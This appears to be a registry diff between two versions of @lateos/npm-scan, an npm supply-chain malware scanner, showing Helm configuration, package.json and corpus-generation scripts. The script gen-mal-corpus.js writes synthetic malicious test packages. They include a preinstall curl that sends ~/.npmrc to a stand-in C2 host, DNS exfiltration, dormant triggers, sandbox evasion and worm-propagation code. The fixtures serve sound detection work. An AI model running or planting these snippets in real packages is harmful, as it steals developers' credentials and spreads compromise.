@lateos/npm-scan 0.16.4 → 0.16.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.dockerignore +20 -20
- package/.husky/pre-commit +1 -1
- package/CHANGELOG.md +199 -199
- package/LICENSING.md +19 -19
- package/README.de.md +708 -708
- package/README.fr.md +707 -707
- package/README.ja.md +704 -704
- package/README.md +826 -826
- package/README.zh.md +708 -708
- package/SECURITY.md +72 -72
- package/backend/cra.js +68 -68
- package/backend/db/schema.sql +32 -32
- package/backend/db.js +88 -88
- package/backend/detectors/atk-001-lifecycle.js +17 -17
- package/backend/detectors/atk-002-obfusc.js +261 -261
- package/backend/detectors/atk-003-creds.js +13 -13
- package/backend/detectors/atk-004-persist.js +13 -13
- package/backend/detectors/atk-005-exfil.js +13 -13
- package/backend/detectors/atk-006-depconf.js +14 -14
- package/backend/detectors/atk-007-typosquat.js +34 -34
- package/backend/detectors/atk-008-tarball-tamper.js +91 -91
- package/backend/detectors/atk-009-dormant-trigger.js +62 -62
- package/backend/detectors/atk-010-sandbox-evasion.js +50 -50
- package/backend/detectors/atk-011-transitive-prop.js +76 -76
- package/backend/detectors/cve-2026-48710-badhost/codePattern.js +99 -99
- package/backend/detectors/cve-2026-48710-badhost/findings.js +105 -105
- package/backend/detectors/cve-2026-48710-badhost/index.js +15 -15
- package/backend/detectors/cve-2026-48710-badhost/manifest.js +305 -305
- package/backend/detectors/cve-2026-48710-badhost/transitive.js +189 -189
- package/backend/detectors/hf-impersonation/index.js +396 -396
- package/backend/detectors/hf-impersonation/jaro-winkler.js +44 -44
- package/backend/detectors/hf-impersonation/known-orgs.js +5 -5
- package/backend/detectors/hf-impersonation/simhash.js +46 -46
- package/backend/detectors/index.js +75 -44
- package/backend/detectors/megalodon/d1-workflow-scan.js +147 -147
- package/backend/detectors/megalodon/d2-credential-harvest.js +61 -61
- package/backend/detectors/megalodon/d3-publish-velocity.js +67 -67
- package/backend/detectors/megalodon/d4-publisher-drift.js +124 -124
- package/backend/detectors/megalodon/d5-bot-commit-identity.js +3 -3
- package/backend/detectors/megalodon/d6-date-anachronism.js +3 -3
- package/backend/detectors/megalodon/index.js +80 -80
- package/backend/detectors/megalodon/types.js +9 -9
- package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +42 -42
- package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +116 -116
- package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +72 -72
- package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +45 -45
- package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +95 -95
- package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +38 -38
- package/backend/detectors/mini-shai-hulud/index.js +118 -118
- package/backend/detectors/mini-shai-hulud/iocs.json +79 -79
- package/backend/detectors/tier1-binary-embed.js +219 -0
- package/backend/detectors/tier1-infostealer.js +280 -0
- package/backend/detectors/tier1-lifecycle-hook.js +176 -0
- package/backend/detectors/tier1-metadata-spoof.js +180 -0
- package/backend/detectors/tier1-typosquat.js +219 -0
- package/backend/fetch.js +175 -175
- package/backend/index.js +4 -4
- package/backend/license.js +89 -89
- package/backend/lockfile.js +379 -379
- package/backend/pdf.js +245 -245
- package/backend/policy.js +193 -176
- package/backend/report.js +254 -254
- package/backend/sbom.js +66 -66
- package/backend/siem/cef.js +32 -32
- package/backend/siem/ecs.js +40 -40
- package/backend/siem/index.js +18 -18
- package/backend/siem/qradar.js +56 -56
- package/backend/siem/sentinel.js +27 -27
- package/backend/vsix-scan/detectors/activation-event-risk.js +116 -116
- package/backend/vsix-scan/detectors/burst-publish.js +52 -52
- package/backend/vsix-scan/detectors/exfil-pattern.js +88 -88
- package/backend/vsix-scan/detectors/known-ioc.js +105 -105
- package/backend/vsix-scan/detectors/orphan-commit-fetch.js +69 -69
- package/backend/vsix-scan/detectors/publisher-anomaly.js +70 -70
- package/backend/vsix-scan/index.js +183 -183
- package/backend/vsix-scan/marketplace-client.js +145 -145
- package/backend/vsix-scan/vsix-iocs.json +31 -31
- package/cli/cli.js +458 -458
- package/deploy/helm/npm-scan/Chart.yaml +21 -21
- package/deploy/helm/npm-scan/templates/_helpers.tpl +8 -8
- package/deploy/helm/npm-scan/templates/api.yaml +93 -93
- package/deploy/helm/npm-scan/templates/ingress.yaml +27 -27
- package/deploy/helm/npm-scan/templates/postgresql.yaml +66 -66
- package/deploy/helm/npm-scan/templates/secrets.yaml +18 -18
- package/deploy/helm/npm-scan/templates/worker.yaml +31 -31
- package/deploy/helm/npm-scan/values.byoc.yaml +74 -74
- package/deploy/helm/npm-scan/values.yaml +102 -102
- package/package.json +57 -57
- package/scripts/download-corpus.js +30 -30
- package/scripts/gen-mal-corpus.js +34 -34
- package/scripts/generate-campaign-fixtures.js +170 -0
- package/src/config/top-5000.json +87 -0
- package/test/fixtures/lockfiles/npm-lock.json +68 -68
- package/test/fixtures/lockfiles/pnpm-lock.yaml +117 -117
- package/test/fixtures/lockfiles/yarn.lock +103 -103
- package/test/fixtures/mock-data.js +69 -69
|
@@ -1,75 +1,75 @@
|
|
|
1
|
-
# BYOC Enterprise values example
|
|
2
|
-
# Deploy to your VPC: helm install -f values.byoc.yaml npm-scan ./
|
|
3
|
-
|
|
4
|
-
image:
|
|
5
|
-
repository: lateos/npm-scan
|
|
6
|
-
tag: "1.0.0"
|
|
7
|
-
|
|
8
|
-
premium:
|
|
9
|
-
enabled: true
|
|
10
|
-
edition: enterprise
|
|
11
|
-
byoc:
|
|
12
|
-
enabled: true
|
|
13
|
-
cloudProvider: aws
|
|
14
|
-
vpcId: vpc-0123456789abcdef0
|
|
15
|
-
region: us-east-1
|
|
16
|
-
clusterName: npm-scan-enterprise
|
|
17
|
-
externalDb: true
|
|
18
|
-
externalRedis: true
|
|
19
|
-
|
|
20
|
-
license:
|
|
21
|
-
key: "npm-scan-enterprise-XXXXX.YOUR-SIGNATURE-HERE"
|
|
22
|
-
secret: "your-license-secret"
|
|
23
|
-
|
|
24
|
-
siem:
|
|
25
|
-
enabled: true
|
|
26
|
-
type: cef
|
|
27
|
-
endpoint: log-collector.your-company.com
|
|
28
|
-
port: 514
|
|
29
|
-
protocol: tcp
|
|
30
|
-
|
|
31
|
-
pdf:
|
|
32
|
-
enabled: true
|
|
33
|
-
|
|
34
|
-
sso:
|
|
35
|
-
enabled: true
|
|
36
|
-
provider: oidc
|
|
37
|
-
clientId: npm-scan-enterprise
|
|
38
|
-
issuerUrl: https://sso.your-company.com/realms/enterprise
|
|
39
|
-
|
|
40
|
-
postgresql:
|
|
41
|
-
enabled: false
|
|
42
|
-
host: your-rds-endpoint.rds.amazonaws.com
|
|
43
|
-
port: 5432
|
|
44
|
-
database: npm_scan
|
|
45
|
-
username: npm_scan
|
|
46
|
-
password: ""
|
|
47
|
-
|
|
48
|
-
redis:
|
|
49
|
-
enabled: false
|
|
50
|
-
host: your-redis-endpoint.cache.amazonaws.com
|
|
51
|
-
port: 6379
|
|
52
|
-
|
|
53
|
-
ingress:
|
|
54
|
-
enabled: true
|
|
55
|
-
className: nginx
|
|
56
|
-
host: npm-scan.your-company.com
|
|
57
|
-
tls:
|
|
58
|
-
- secretName: npm-scan-tls
|
|
59
|
-
hosts:
|
|
60
|
-
- npm-scan.your-company.com
|
|
61
|
-
|
|
62
|
-
persistence:
|
|
63
|
-
enabled: true
|
|
64
|
-
size: 50Gi
|
|
65
|
-
storageClass: gp3
|
|
66
|
-
|
|
67
|
-
worker:
|
|
68
|
-
replicas: 4
|
|
69
|
-
resources:
|
|
70
|
-
requests:
|
|
71
|
-
cpu: 500m
|
|
72
|
-
memory: 1Gi
|
|
73
|
-
limits:
|
|
74
|
-
cpu: 2
|
|
1
|
+
# BYOC Enterprise values example
|
|
2
|
+
# Deploy to your VPC: helm install -f values.byoc.yaml npm-scan ./
|
|
3
|
+
|
|
4
|
+
image:
|
|
5
|
+
repository: lateos/npm-scan
|
|
6
|
+
tag: "1.0.0"
|
|
7
|
+
|
|
8
|
+
premium:
|
|
9
|
+
enabled: true
|
|
10
|
+
edition: enterprise
|
|
11
|
+
byoc:
|
|
12
|
+
enabled: true
|
|
13
|
+
cloudProvider: aws
|
|
14
|
+
vpcId: vpc-0123456789abcdef0
|
|
15
|
+
region: us-east-1
|
|
16
|
+
clusterName: npm-scan-enterprise
|
|
17
|
+
externalDb: true
|
|
18
|
+
externalRedis: true
|
|
19
|
+
|
|
20
|
+
license:
|
|
21
|
+
key: "npm-scan-enterprise-XXXXX.YOUR-SIGNATURE-HERE"
|
|
22
|
+
secret: "your-license-secret"
|
|
23
|
+
|
|
24
|
+
siem:
|
|
25
|
+
enabled: true
|
|
26
|
+
type: cef
|
|
27
|
+
endpoint: log-collector.your-company.com
|
|
28
|
+
port: 514
|
|
29
|
+
protocol: tcp
|
|
30
|
+
|
|
31
|
+
pdf:
|
|
32
|
+
enabled: true
|
|
33
|
+
|
|
34
|
+
sso:
|
|
35
|
+
enabled: true
|
|
36
|
+
provider: oidc
|
|
37
|
+
clientId: npm-scan-enterprise
|
|
38
|
+
issuerUrl: https://sso.your-company.com/realms/enterprise
|
|
39
|
+
|
|
40
|
+
postgresql:
|
|
41
|
+
enabled: false
|
|
42
|
+
host: your-rds-endpoint.rds.amazonaws.com
|
|
43
|
+
port: 5432
|
|
44
|
+
database: npm_scan
|
|
45
|
+
username: npm_scan
|
|
46
|
+
password: ""
|
|
47
|
+
|
|
48
|
+
redis:
|
|
49
|
+
enabled: false
|
|
50
|
+
host: your-redis-endpoint.cache.amazonaws.com
|
|
51
|
+
port: 6379
|
|
52
|
+
|
|
53
|
+
ingress:
|
|
54
|
+
enabled: true
|
|
55
|
+
className: nginx
|
|
56
|
+
host: npm-scan.your-company.com
|
|
57
|
+
tls:
|
|
58
|
+
- secretName: npm-scan-tls
|
|
59
|
+
hosts:
|
|
60
|
+
- npm-scan.your-company.com
|
|
61
|
+
|
|
62
|
+
persistence:
|
|
63
|
+
enabled: true
|
|
64
|
+
size: 50Gi
|
|
65
|
+
storageClass: gp3
|
|
66
|
+
|
|
67
|
+
worker:
|
|
68
|
+
replicas: 4
|
|
69
|
+
resources:
|
|
70
|
+
requests:
|
|
71
|
+
cpu: 500m
|
|
72
|
+
memory: 1Gi
|
|
73
|
+
limits:
|
|
74
|
+
cpu: 2
|
|
75
75
|
memory: 2Gi
|
|
@@ -1,103 +1,103 @@
|
|
|
1
|
-
# Helm values for npm-scan BYOC
|
|
2
|
-
# Override per environment: helm install -f values-prod.yaml
|
|
3
|
-
|
|
4
|
-
image:
|
|
5
|
-
repository: lateos/npm-scan
|
|
6
|
-
tag: latest
|
|
7
|
-
pullPolicy: Always
|
|
8
|
-
|
|
9
|
-
replicaCount: 1
|
|
10
|
-
|
|
11
|
-
license:
|
|
12
|
-
key: ""
|
|
13
|
-
secret: ""
|
|
14
|
-
|
|
15
|
-
premium:
|
|
16
|
-
enabled: false
|
|
17
|
-
edition: premium
|
|
18
|
-
byoc:
|
|
19
|
-
enabled: false
|
|
20
|
-
cloudProvider: ""
|
|
21
|
-
vpcId: ""
|
|
22
|
-
region: ""
|
|
23
|
-
clusterName: ""
|
|
24
|
-
externalDb: true
|
|
25
|
-
externalRedis: true
|
|
26
|
-
|
|
27
|
-
siem:
|
|
28
|
-
enabled: false
|
|
29
|
-
type: cef
|
|
30
|
-
endpoint: ""
|
|
31
|
-
port: 514
|
|
32
|
-
protocol: tcp
|
|
33
|
-
apiKey: ""
|
|
34
|
-
|
|
35
|
-
pdf:
|
|
36
|
-
enabled: false
|
|
37
|
-
|
|
38
|
-
sso:
|
|
39
|
-
enabled: false
|
|
40
|
-
provider: oidc
|
|
41
|
-
clientId: ""
|
|
42
|
-
clientSecret: ""
|
|
43
|
-
issuerUrl: ""
|
|
44
|
-
allowedDomains: []
|
|
45
|
-
|
|
46
|
-
postgresql:
|
|
47
|
-
enabled: true
|
|
48
|
-
host: ""
|
|
49
|
-
port: 5432
|
|
50
|
-
database: npm_scan
|
|
51
|
-
username: npm_scan
|
|
52
|
-
password: ""
|
|
53
|
-
existingSecret: ""
|
|
54
|
-
|
|
55
|
-
api:
|
|
56
|
-
enabled: true
|
|
57
|
-
port: 8000
|
|
58
|
-
host: 0.0.0.0
|
|
59
|
-
replicas: 1
|
|
60
|
-
corsOrigins: ["*"]
|
|
61
|
-
resources:
|
|
62
|
-
requests:
|
|
63
|
-
cpu: 100m
|
|
64
|
-
memory: 128Mi
|
|
65
|
-
limits:
|
|
66
|
-
cpu: 500m
|
|
67
|
-
memory: 512Mi
|
|
68
|
-
|
|
69
|
-
worker:
|
|
70
|
-
enabled: true
|
|
71
|
-
replicas: 2
|
|
72
|
-
resources:
|
|
73
|
-
requests:
|
|
74
|
-
cpu: 200m
|
|
75
|
-
memory: 256Mi
|
|
76
|
-
limits:
|
|
77
|
-
cpu: 1
|
|
78
|
-
memory: 1Gi
|
|
79
|
-
|
|
80
|
-
ingress:
|
|
81
|
-
enabled: false
|
|
82
|
-
className: ""
|
|
83
|
-
annotations: {}
|
|
84
|
-
host: npm-scan.example.com
|
|
85
|
-
tls: []
|
|
86
|
-
|
|
87
|
-
service:
|
|
88
|
-
type: ClusterIP
|
|
89
|
-
port: 80
|
|
90
|
-
|
|
91
|
-
persistence:
|
|
92
|
-
enabled: true
|
|
93
|
-
size: 10Gi
|
|
94
|
-
storageClass: ""
|
|
95
|
-
|
|
96
|
-
nodeSelector: {}
|
|
97
|
-
tolerations: []
|
|
98
|
-
affinity: {}
|
|
99
|
-
|
|
100
|
-
redis:
|
|
101
|
-
enabled: false
|
|
102
|
-
host: ""
|
|
1
|
+
# Helm values for npm-scan BYOC
|
|
2
|
+
# Override per environment: helm install -f values-prod.yaml
|
|
3
|
+
|
|
4
|
+
image:
|
|
5
|
+
repository: lateos/npm-scan
|
|
6
|
+
tag: latest
|
|
7
|
+
pullPolicy: Always
|
|
8
|
+
|
|
9
|
+
replicaCount: 1
|
|
10
|
+
|
|
11
|
+
license:
|
|
12
|
+
key: ""
|
|
13
|
+
secret: ""
|
|
14
|
+
|
|
15
|
+
premium:
|
|
16
|
+
enabled: false
|
|
17
|
+
edition: premium
|
|
18
|
+
byoc:
|
|
19
|
+
enabled: false
|
|
20
|
+
cloudProvider: ""
|
|
21
|
+
vpcId: ""
|
|
22
|
+
region: ""
|
|
23
|
+
clusterName: ""
|
|
24
|
+
externalDb: true
|
|
25
|
+
externalRedis: true
|
|
26
|
+
|
|
27
|
+
siem:
|
|
28
|
+
enabled: false
|
|
29
|
+
type: cef
|
|
30
|
+
endpoint: ""
|
|
31
|
+
port: 514
|
|
32
|
+
protocol: tcp
|
|
33
|
+
apiKey: ""
|
|
34
|
+
|
|
35
|
+
pdf:
|
|
36
|
+
enabled: false
|
|
37
|
+
|
|
38
|
+
sso:
|
|
39
|
+
enabled: false
|
|
40
|
+
provider: oidc
|
|
41
|
+
clientId: ""
|
|
42
|
+
clientSecret: ""
|
|
43
|
+
issuerUrl: ""
|
|
44
|
+
allowedDomains: []
|
|
45
|
+
|
|
46
|
+
postgresql:
|
|
47
|
+
enabled: true
|
|
48
|
+
host: ""
|
|
49
|
+
port: 5432
|
|
50
|
+
database: npm_scan
|
|
51
|
+
username: npm_scan
|
|
52
|
+
password: ""
|
|
53
|
+
existingSecret: ""
|
|
54
|
+
|
|
55
|
+
api:
|
|
56
|
+
enabled: true
|
|
57
|
+
port: 8000
|
|
58
|
+
host: 0.0.0.0
|
|
59
|
+
replicas: 1
|
|
60
|
+
corsOrigins: ["*"]
|
|
61
|
+
resources:
|
|
62
|
+
requests:
|
|
63
|
+
cpu: 100m
|
|
64
|
+
memory: 128Mi
|
|
65
|
+
limits:
|
|
66
|
+
cpu: 500m
|
|
67
|
+
memory: 512Mi
|
|
68
|
+
|
|
69
|
+
worker:
|
|
70
|
+
enabled: true
|
|
71
|
+
replicas: 2
|
|
72
|
+
resources:
|
|
73
|
+
requests:
|
|
74
|
+
cpu: 200m
|
|
75
|
+
memory: 256Mi
|
|
76
|
+
limits:
|
|
77
|
+
cpu: 1
|
|
78
|
+
memory: 1Gi
|
|
79
|
+
|
|
80
|
+
ingress:
|
|
81
|
+
enabled: false
|
|
82
|
+
className: ""
|
|
83
|
+
annotations: {}
|
|
84
|
+
host: npm-scan.example.com
|
|
85
|
+
tls: []
|
|
86
|
+
|
|
87
|
+
service:
|
|
88
|
+
type: ClusterIP
|
|
89
|
+
port: 80
|
|
90
|
+
|
|
91
|
+
persistence:
|
|
92
|
+
enabled: true
|
|
93
|
+
size: 10Gi
|
|
94
|
+
storageClass: ""
|
|
95
|
+
|
|
96
|
+
nodeSelector: {}
|
|
97
|
+
tolerations: []
|
|
98
|
+
affinity: {}
|
|
99
|
+
|
|
100
|
+
redis:
|
|
101
|
+
enabled: false
|
|
102
|
+
host: ""
|
|
103
103
|
port: 6379
|
package/package.json
CHANGED
|
@@ -1,57 +1,57 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "@lateos/npm-scan",
|
|
3
|
-
"version": "0.16.
|
|
4
|
-
"description": "Modern npm supply chain security scanner — detects obfuscated payloads, credential stealers, conditional triggers, sandbox evasion, and worm-like propagation. 11 attack types, SBOM, NIST/EU CRA compliance reporting.",
|
|
5
|
-
"main": "backend/index.js",
|
|
6
|
-
"bin": {
|
|
7
|
-
"npm-scan": "cli/cli.js"
|
|
8
|
-
},
|
|
9
|
-
"type": "module",
|
|
10
|
-
"license": "Apache-2.0",
|
|
11
|
-
"repository": {
|
|
12
|
-
"type": "git",
|
|
13
|
-
"url": "git+https://github.com/lateos-ai/npm-scan.git"
|
|
14
|
-
},
|
|
15
|
-
"readme": "README.md",
|
|
16
|
-
"keywords": [
|
|
17
|
-
"npm",
|
|
18
|
-
"security",
|
|
19
|
-
"supply-chain",
|
|
20
|
-
"scanner",
|
|
21
|
-
"malware",
|
|
22
|
-
"shai-hulud",
|
|
23
|
-
"sbom",
|
|
24
|
-
"compliance"
|
|
25
|
-
],
|
|
26
|
-
"scripts": {
|
|
27
|
-
"dev": "node cli/cli.js",
|
|
28
|
-
"lint": "echo 'Lint stub'",
|
|
29
|
-
"test": "node --test",
|
|
30
|
-
"test:coverage": "node --experimental-test-coverage --test",
|
|
31
|
-
"test:verbose": "node --test --test-reporter spec",
|
|
32
|
-
"prepare": "husky",
|
|
33
|
-
"build": "echo 'Build stub'",
|
|
34
|
-
"corpus": "node tests/corpus/run.js"
|
|
35
|
-
},
|
|
36
|
-
"lint-staged": {
|
|
37
|
-
"**/package{,-lock}.json": "sh -c 'node cli/cli.js scan-lockfile --fail-on high'",
|
|
38
|
-
"**/yarn.lock": "sh -c 'node cli/cli.js scan-lockfile --fail-on high --yarn'",
|
|
39
|
-
"**/pnpm-lock.yaml": "sh -c 'node cli/cli.js scan-lockfile --fail-on high --pnpm'"
|
|
40
|
-
},
|
|
41
|
-
"publishConfig": {
|
|
42
|
-
"access": "public"
|
|
43
|
-
},
|
|
44
|
-
"dependencies": {
|
|
45
|
-
"acorn": "^8.16.0",
|
|
46
|
-
"commander": "^14.0.3",
|
|
47
|
-
"glob": "^13.0.6",
|
|
48
|
-
"js-yaml": "^4.1.1",
|
|
49
|
-
"pdf-lib": "^1.17.1",
|
|
50
|
-
"sql.js": "^1.11.0",
|
|
51
|
-
"tar": "^7.5.15"
|
|
52
|
-
},
|
|
53
|
-
"devDependencies": {
|
|
54
|
-
"husky": "^9.1.7",
|
|
55
|
-
"lint-staged": "^16.4.0"
|
|
56
|
-
}
|
|
57
|
-
}
|
|
1
|
+
{
|
|
2
|
+
"name": "@lateos/npm-scan",
|
|
3
|
+
"version": "0.16.5",
|
|
4
|
+
"description": "Modern npm supply chain security scanner — detects obfuscated payloads, credential stealers, conditional triggers, sandbox evasion, and worm-like propagation. 11 attack types, SBOM, NIST/EU CRA compliance reporting.",
|
|
5
|
+
"main": "backend/index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"npm-scan": "cli/cli.js"
|
|
8
|
+
},
|
|
9
|
+
"type": "module",
|
|
10
|
+
"license": "Apache-2.0",
|
|
11
|
+
"repository": {
|
|
12
|
+
"type": "git",
|
|
13
|
+
"url": "git+https://github.com/lateos-ai/npm-scan.git"
|
|
14
|
+
},
|
|
15
|
+
"readme": "README.md",
|
|
16
|
+
"keywords": [
|
|
17
|
+
"npm",
|
|
18
|
+
"security",
|
|
19
|
+
"supply-chain",
|
|
20
|
+
"scanner",
|
|
21
|
+
"malware",
|
|
22
|
+
"shai-hulud",
|
|
23
|
+
"sbom",
|
|
24
|
+
"compliance"
|
|
25
|
+
],
|
|
26
|
+
"scripts": {
|
|
27
|
+
"dev": "node cli/cli.js",
|
|
28
|
+
"lint": "echo 'Lint stub'",
|
|
29
|
+
"test": "node --test",
|
|
30
|
+
"test:coverage": "node --experimental-test-coverage --test",
|
|
31
|
+
"test:verbose": "node --test --test-reporter spec",
|
|
32
|
+
"prepare": "husky",
|
|
33
|
+
"build": "echo 'Build stub'",
|
|
34
|
+
"corpus": "node tests/corpus/run.js"
|
|
35
|
+
},
|
|
36
|
+
"lint-staged": {
|
|
37
|
+
"**/package{,-lock}.json": "sh -c 'node cli/cli.js scan-lockfile --fail-on high'",
|
|
38
|
+
"**/yarn.lock": "sh -c 'node cli/cli.js scan-lockfile --fail-on high --yarn'",
|
|
39
|
+
"**/pnpm-lock.yaml": "sh -c 'node cli/cli.js scan-lockfile --fail-on high --pnpm'"
|
|
40
|
+
},
|
|
41
|
+
"publishConfig": {
|
|
42
|
+
"access": "public"
|
|
43
|
+
},
|
|
44
|
+
"dependencies": {
|
|
45
|
+
"acorn": "^8.16.0",
|
|
46
|
+
"commander": "^14.0.3",
|
|
47
|
+
"glob": "^13.0.6",
|
|
48
|
+
"js-yaml": "^4.1.1",
|
|
49
|
+
"pdf-lib": "^1.17.1",
|
|
50
|
+
"sql.js": "^1.11.0",
|
|
51
|
+
"tar": "^7.5.15"
|
|
52
|
+
},
|
|
53
|
+
"devDependencies": {
|
|
54
|
+
"husky": "^9.1.7",
|
|
55
|
+
"lint-staged": "^16.4.0"
|
|
56
|
+
}
|
|
57
|
+
}
|
|
@@ -1,30 +1,30 @@
|
|
|
1
|
-
import fetch from 'node-fetch';
|
|
2
|
-
import { writeFileSync, existsSync } from 'fs';
|
|
3
|
-
|
|
4
|
-
const TOP_PKGS = [
|
|
5
|
-
'lodash', 'chalk', 'react', 'axios', 'express',
|
|
6
|
-
'tslib', 'commander', 'typescript', 'vue', 'next',
|
|
7
|
-
'yargs', 'debug', 'moment', 'uuid', 'semver',
|
|
8
|
-
'rimraf', 'eslint', 'prettier', 'webpack', 'babel-core',
|
|
9
|
-
'underscore', 'request', 'async', 'cheerio', 'bluebird',
|
|
10
|
-
'jest', 'mocha', 'dotenv', 'glob', 'node-fetch',
|
|
11
|
-
'minimist', 'body-parser', 'cors', 'helmet', 'jsonwebtoken',
|
|
12
|
-
'socket.io', 'redis', 'mongoose', 'sequelize', 'pg',
|
|
13
|
-
'passport', 'nodemailer', 'multer', 'bcrypt', 'winston',
|
|
14
|
-
'luxon', 'dayjs', 'class-validator', 'rxjs', 'redux'
|
|
15
|
-
];
|
|
16
|
-
|
|
17
|
-
for (const pkg of TOP_PKGS) {
|
|
18
|
-
const file = `tests/corpus/clean/${pkg}.tgz`;
|
|
19
|
-
if (existsSync(file)) { console.log(`SKIP ${pkg}`); continue; }
|
|
20
|
-
try {
|
|
21
|
-
const res = await fetch(`https://registry.npmjs.org/${pkg}/latest`);
|
|
22
|
-
const meta = await res.json();
|
|
23
|
-
const tarRes = await fetch(meta.dist.tarball);
|
|
24
|
-
const buf = Buffer.from(await tarRes.arrayBuffer());
|
|
25
|
-
writeFileSync(file, buf);
|
|
26
|
-
console.log(`OK ${pkg} (${(buf.length/1024).toFixed(0)}KB)`);
|
|
27
|
-
} catch (e) {
|
|
28
|
-
console.log(`FAIL ${pkg}: ${e.message}`);
|
|
29
|
-
}
|
|
30
|
-
}
|
|
1
|
+
import fetch from 'node-fetch';
|
|
2
|
+
import { writeFileSync, existsSync } from 'fs';
|
|
3
|
+
|
|
4
|
+
const TOP_PKGS = [
|
|
5
|
+
'lodash', 'chalk', 'react', 'axios', 'express',
|
|
6
|
+
'tslib', 'commander', 'typescript', 'vue', 'next',
|
|
7
|
+
'yargs', 'debug', 'moment', 'uuid', 'semver',
|
|
8
|
+
'rimraf', 'eslint', 'prettier', 'webpack', 'babel-core',
|
|
9
|
+
'underscore', 'request', 'async', 'cheerio', 'bluebird',
|
|
10
|
+
'jest', 'mocha', 'dotenv', 'glob', 'node-fetch',
|
|
11
|
+
'minimist', 'body-parser', 'cors', 'helmet', 'jsonwebtoken',
|
|
12
|
+
'socket.io', 'redis', 'mongoose', 'sequelize', 'pg',
|
|
13
|
+
'passport', 'nodemailer', 'multer', 'bcrypt', 'winston',
|
|
14
|
+
'luxon', 'dayjs', 'class-validator', 'rxjs', 'redux'
|
|
15
|
+
];
|
|
16
|
+
|
|
17
|
+
for (const pkg of TOP_PKGS) {
|
|
18
|
+
const file = `tests/corpus/clean/${pkg}.tgz`;
|
|
19
|
+
if (existsSync(file)) { console.log(`SKIP ${pkg}`); continue; }
|
|
20
|
+
try {
|
|
21
|
+
const res = await fetch(`https://registry.npmjs.org/${pkg}/latest`);
|
|
22
|
+
const meta = await res.json();
|
|
23
|
+
const tarRes = await fetch(meta.dist.tarball);
|
|
24
|
+
const buf = Buffer.from(await tarRes.arrayBuffer());
|
|
25
|
+
writeFileSync(file, buf);
|
|
26
|
+
console.log(`OK ${pkg} (${(buf.length/1024).toFixed(0)}KB)`);
|
|
27
|
+
} catch (e) {
|
|
28
|
+
console.log(`FAIL ${pkg}: ${e.message}`);
|
|
29
|
+
}
|
|
30
|
+
}
|
|
@@ -1,35 +1,35 @@
|
|
|
1
|
-
import { execSync } from 'child_process';
|
|
2
|
-
import { writeFileSync, mkdirSync, rmSync } from 'fs';
|
|
3
|
-
import { join } from 'path';
|
|
4
|
-
|
|
5
|
-
const BASE = '/tmp/npm-scan-mal';
|
|
6
|
-
|
|
7
|
-
const MALS = [
|
|
8
|
-
{ name: 'shai-hulud', pkg: { scripts: { preinstall: 'curl -d @~/.npmrc https://c2.evil.com/x' } }, js: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' },
|
|
9
|
-
{ name: 'mal-dns-exfil', pkg: {}, js: 'dns.resolve(key + ".exfil.com", (err, addr) => {})' },
|
|
10
|
-
{ name: 'mal-tamper-1', pkg: { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-mirror.git' } }, js: 'module.exports = { malicious: true }' },
|
|
11
|
-
{ name: 'mal-tamper-2', pkg: { name: 'react', repository: { url: 'https://github.com/attacker/react-evil.git' } }, js: '// Source: https://evil.com/react/original.js\nmodule.exports = {}' },
|
|
12
|
-
{ name: 'mal-dormant-1', pkg: {}, js: 'if (process.env.NODE_ENV === "production") { eval(atob("Y29uc29sZS5sb2coJ2V2aWwnKQ==")) }' },
|
|
13
|
-
{ name: 'mal-dormant-2', pkg: {}, js: 'if (new Date() > new Date("2026-06-01")) { require("./payload.js") }' },
|
|
14
|
-
{ name: 'mal-dormant-3', pkg: {}, js: 'if (process.env.CI) { process.exit(0) } else { /* malicious */ require("./exploit.js") }' },
|
|
15
|
-
{ name: 'mal-evasion-1', pkg: {}, js: 'if (os.hostname().includes("docker") || os.hostname().includes("sandbox")) { process.exit(0) }' },
|
|
16
|
-
{ name: 'mal-evasion-2', pkg: {}, js: 'if (process.argv.join(" ").includes("inspect")) { debugger; /* stop analysis */ }' },
|
|
17
|
-
{ name: 'mal-evasion-3', pkg: {}, js: 'try { throw new Error(); } catch(e) { if (e.stack.includes("sandbox")) { process.exit(0) } }' },
|
|
18
|
-
{ name: 'mal-prop-1', pkg: { name: '@evil/worm' }, js: 'execSync("npm install ./worm-pkg"); execSync("npm link")' },
|
|
19
|
-
{ name: 'mal-prop-2', pkg: {}, js: 'fs.writeFileSync("../lodash/node_modules/worm/index.js", "module.exports = { compromised: true }")' },
|
|
20
|
-
{ name: 'mal-prop-3', pkg: { name: 'worm-pkg' }, js: `const pj = require('../express/package.json'); pj.scripts.install = 'node worm.js'; fs.writeFileSync('../express/package.json', JSON.stringify(pj))` },
|
|
21
|
-
];
|
|
22
|
-
|
|
23
|
-
for (const mal of MALS) {
|
|
24
|
-
const dir = join(BASE, mal.name);
|
|
25
|
-
rmSync(dir, { recursive: true, force: true });
|
|
26
|
-
mkdirSync(dir, { recursive: true });
|
|
27
|
-
writeFileSync(join(dir, 'package.json'), JSON.stringify({ name: mal.name, version: '1.0.0', ...mal.pkg }));
|
|
28
|
-
if (mal.js) writeFileSync(join(dir, 'index.js'), mal.js);
|
|
29
|
-
execSync(`tar czf tests/corpus/malicious/${mal.name}.tgz -C ${BASE} ${mal.name}`);
|
|
30
|
-
console.log(`OK ${mal.name}`);
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
console.log('All mal corpus entries generated.');
|
|
34
|
-
console.log('Total:', MALS.length);
|
|
1
|
+
import { execSync } from 'child_process';
|
|
2
|
+
import { writeFileSync, mkdirSync, rmSync } from 'fs';
|
|
3
|
+
import { join } from 'path';
|
|
4
|
+
|
|
5
|
+
const BASE = '/tmp/npm-scan-mal';
|
|
6
|
+
|
|
7
|
+
const MALS = [
|
|
8
|
+
{ name: 'shai-hulud', pkg: { scripts: { preinstall: 'curl -d @~/.npmrc https://c2.evil.com/x' } }, js: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' },
|
|
9
|
+
